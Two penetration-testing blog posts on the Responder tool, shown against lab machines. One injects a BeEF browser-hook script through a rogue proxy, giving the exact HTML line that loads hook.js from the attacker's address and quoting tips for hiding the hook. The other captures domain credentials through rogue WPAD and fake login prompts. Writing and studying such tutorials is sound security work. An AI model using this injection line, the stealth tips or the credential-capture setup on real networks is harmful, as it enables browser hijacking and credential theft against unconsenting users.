Responder

Getting Hooked up with Responder and Beef

Christopher Truncer Pen Test Techniques , 3 Comments

Responder is a really effective tool that I’ve written about before which can be used to easily obtain user credentials on a network.  However, in Responder’s 2.0 release, the ability to perform HTML injection attacks were added to the tool.  This capability can be easily utilized to perform a variety of nefarious actions against our targets.  The first tool that I thought using to leverage the HTML injection capabilities of Responder, is Beef.  Beef is described as being a browser exploitation framework.  The goal of an attacker utilizing Beef would be to “hook” another user’s browser.  Once hooked, Beef contains a large number of modules that can be used to attack the victim’s web browser (which I would perform a disservice if I tried to describe all of Beef’s capabilities in a single post).  So the attack that I’m going to demonstrate is using Responder’s ability to inject HTML and hook systems on the network I am targeting with Beef.

Edit: @Antisnatchor provided some really good feedback in the comments.  I think it’s worth everyone reading what he said, so they are copied here:

“Few things to add, change the following in the main config.yaml config file:

– reduce xhr_poll_timeout to 500 (milliseconds), so polling will happen twice a second
– change hook_file to jquery.js or something different to change the hook name (more stealthy), as well as hook_session_name and session_cookie_name to different values.
– enable the Evasion extension, just use ‘scramble’ + ‘minify’ as obfuscation techniques. This will minify/pack JS and scramble variables like BeEF/beef to random ones.
– change default BeEF credentials and web_ui_basepath

I would also add the BeEF hook tag in rather than .

Then once it’s up, you can automate module lanching to multiple hooked browser based on fingerprinting results via the RESTful API.” 

First, you’re going to need to get Beef started on your attacking platform.  If you’re using Kali, it’s located within the /usr/share/beef-xss directory.  Once within it, simple type “./beef” and wait as the framework starts up.  Your console should look similar to the following once it is ready to go:

Beef startup

Next up, we need to slightly modify Responder’s config file.  If you haven’t already, clone the project to your attacking platform, and then open up Responder.conf in a text editor.  Within the Responder.conf file you’re going to want to change the “HTMLToServe” value.  To carry out the attack, we want to inject Beef’s javascript file used to hook browsers.  I just changed the value to be:

HTMLToServe = <html><head></head><body><script src="http://192.168.63.149:3000/hook.js" type="text/javascript"></script></body></html>

Your config should look similar to the following now:

Responder Config

With this added in, Responder will inject the javascript containing our beef hook into any page that it is able to do so.  First, I’m going to need to start Responder.  The options that I am passing into Responder tells it to listen on my local IP, stand up a rogue wpad proxy, and display verbose messages.

Start Responder

With both Beef and Responder up and running, it’s time to get our hooks!  To test this out, I’m going to just have the web browser from my Windows 7 victim VM attempt to navigate to http://intranet/.  When it requests the web page, Responder will serve up the a web page.  In my case, I don’t have an actual machine called “intranet” within my lab network, so Responder will just serve up a web page only containing the Beef hook code.

Web-Requested

Not only did Responder see the web request, but it was also able to obtain the NTLMv2 hash use by the current user “sonofflynn”.  If I were to look at the web page on my Windows 7 VM, it just shows a blank page.  However, the blank page has also loaded up my beef hook, and after logging into the Beef console, I can see it’s successfully been hooked.  With our victim’s browser hooked, we can now perform a wide variety of enumeration and attacks against or through the victim’s browser.  I highly recommend to review the large number of posts that talk about beef and the variety of attacks it contains.

Beef Hooked

I have had at times Responder act “funny” by serving up what appears to be random ascii code vs an actual website.  I have also had issues with it injecting the HTML code at times.  However, this seems to work best for me to get repeatable results and hooks.  If there’s something that I’ve missed, or a better way to inject html code/beef hooks/etc. I’d love to hear about it and get to learn a better way (or maybe the right way :)).  Otherwise, hope that this helps, and feel free to hit me up for any questions!

Responder & User Account Credentials – First Come, First Served

Christopher Truncer Pen Test Techniques , , 3 Comments

Responder is an awesome tool that was created by Laurent Gaffie and can be extremely effective to use on pen tests.  I recently had the opportunity to use Responder, and it returned valid domain credentials within about 10 minutes.  I wanted to write this post as an opportunity to document what worked for myself.  With that said, Larry Spohn also wrote an excellent blog post on essentially the same attack which can be viewed here, so be sure to go and check that post out as well!

Responder can return results two different ways.  We can try to receive the NTLM Challenge hash(es) from workstations, or Responder can return credentials via basic authentication.  Ideally, the easiest for an attacker to work with will be basic auth based authentication due to the data being easily reversible since it is base64 encoded.

The specific vulnerability that is being attacked in this situation is that workstations will be configured to automatically detect proxy settings for the network they are operating on by default.  When a workstation attempts to find the proxy settings needed, it does so by requesting for “WPAD” initially over DHCP.   If the workstation doesn’t receive a response, it will then make multiple DNS requests.  If DNS also doesn’t return any results, the workstation will finally fall back to requesting over NetBIOS (source). If configured to do so, Responder will can act as a rogue wpad proxy.  Responder can then serve a PAC file (configured as you see fit) and attempt to proxy all connections through itself.

One trick Responder can do (if configured to do so) is to respond to http requests from workstations that are attempting to access local resources (such as http://intranetsite).  The nifty aspect to this trick is to the user, the pop-up will appear as a normal looking authentication box that is prompting the user to enter their credentials.  Once entered, the credentials are transferred to the attacker, base64 decoded, and displayed to the attacker.  So, that’s the background to this attack, how about lets check it out?

First, we’re going to need to configure how Responder is going to operate on the network.  We’re going to need to pass it a couple command line options:

  • -i <IP Address or network interface> – The IP address to listen on
  • –wpad – Tells Responder to start a “rogue” wpad proxy server
  • -b – Tells Responder to return Basic Authentication information vs. NTLM
  • -F – Tells Responder to force NTLM or Basic authentication from any machine attempting to access the wpad file
  • -f – Tells Responder to fingerprint the host

Starting Responder

As you can see, Responder is pretty simple to setup and get up and running.  Once the previous command has been run, you should see something similar to the following:

Responder Started

This is roughly what Responder is going to look like once it is up and running.  For now, you can sit and wait for information to start coming in.  A good time to utilize Responder is when you’re first getting started on an assessment.  Responder can be one of the first tools you get running, and you can just leave it be and check back in on the results later.

Once Responder has been running for a while, check out if there’s been any juicy information returned to us!  Below is a what your output will likely look similar to:

Responder Output

What’s awesome to see here, is the “HTTP-User & Password:” line!  We can see the username “testuser” and password “badpassword” were returned to us, so now we have the first set of user credentials!  From a user’s perspective, this is what the popup looked like on a Win 8.1 desktop:

WPAD Desktop

This is a fairly typical screen and users are *LIKELY* going to enter their account information without a second thought.

At any point, you can stop running Responder, and it will have logged all credential information into a file for viewing.  In my case, this is what I have on my attacker platform:

Responder Loot File

If the same user were to keep entering their username and password, there would be duplicate (or more) entries of the credentials within the loot file.

Responder is an extremely powerful tool that can be used to quickly grab credentials when plugged into a network segment that users are also operating on.  I highly recommend using it as it can be a great way to get an initial foothold into your target network.